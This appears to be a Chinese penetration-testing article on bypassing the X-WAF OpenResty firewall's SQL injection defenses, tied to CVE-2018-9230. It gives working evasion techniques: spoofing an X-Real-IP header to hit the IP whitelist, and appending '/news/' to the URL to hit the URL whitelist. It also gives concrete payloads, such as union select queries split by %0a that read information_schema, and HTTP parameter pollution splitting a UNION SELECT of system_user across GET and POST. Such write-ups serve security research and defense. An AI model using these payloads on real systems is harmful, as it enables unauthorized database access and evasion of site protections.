Bypass X-WAF SQL注入防御(多姿势)

https://mp.weixin.qq.com/s/5TQddrOqa8MmtsuHoCRu0Q   Bypass X-WAF SQL注入防御(多姿势)

https://www.anquanke.com/post/id/103771  打破基于OpenResty的WEB安全防护(CVE-2018-9230)

先来一张拦截效果图

Bypass X-WAF SQL注入防御(多姿势)_第1张图片

利用参数溢出Bypass:


Bypass X-WAF SQL注入防御(多姿势)_第2张图片

绕过姿势:带上 X-Real-IP:8.8.8.8

伪造客户端IP绕过:Bypass X-WAF SQL注入防御(多姿势)_第3张图片


另外有趣的是,在blackip.rule里面,把8.8.8.8放置在黑名单里面,但这并没有什么用,IP白名单已经跳出多条件判断,不会再进行IP黑名单检测。CC攻击的防御也主要是从客户端获取IP,也可以伪造客户端IP轻易绕过限制。

[{"Id":2,"RuleType":"blackip","RuleItem":"8.8.8.8"},{"Id":3,"RuleType":"blackip","RuleItem":"1.1.1.1"}]

同样来看一下url白名单white_url_check()函数:

`function _M.white_url_check()    if config.config_white_url_check == "on" then        local URL_WHITE_RULES = _M.get_rule('writeurl.rule')        local REQ_URI = ngx.var.request_uri        if URL_WHITE_RULES ~= nil then            for _, rule in pairs(URL_WHITE_RULES) do                if rule ~= "" and rulematch(REQ_URI, rule, "joi") then                    return true                end            end        end    endend`

添加了一下URL白名单功能,感觉无效,对比了一下rules文件,可以发现加载的rule文件名不一致。

这里应该是作者的一个笔误,writeurl.rule和whiteUrl.rule。

Bypass X-WAF SQL注入防御(多姿势)_第4张图片

绕过姿势:带上 &a=/news/ 参数

默认url白名单配置:

[{"Id":73,"RuleType":"whiteUrl","RuleItem":"/news/"}]

另外,这里使用ngx.re.find进行ngx.var.request_uri和rule匹配,只要url中存在/news/,就不进行检测,绕过安全防御规则。比如 : /test/sql,php/news/?id=1、/test/sql,php?id=1&b=/news/ 等形式可绕过。



绕过姿势一:%0a

由于使用的是joi来修饰,我们可以用%0a来进行绕过。

/sql.php?id=1 union%0aselect 1,schema_name,3%0afrom /!12345information_schema.schemata/

Bypass X-WAF SQL注入防御(多姿势)_第5张图片

绕过姿势二:%u特性

主要利用IIS服务器支持unicode的解析

Bypass X-WAF SQL注入防御(多姿势)_第6张图片

绕过姿势三:HPP+GPC

使用GPC三种方式可以进行参数传递,利用apsx特性,将获取到参数拼接起来,可成功Bypass

/sql.aspx?id=1 union/*

POST:Id=2*/select null,system_user,null

Bypass X-WAF SQL注入防御(多姿势)_第7张图片



你可能感兴趣的:(渗透)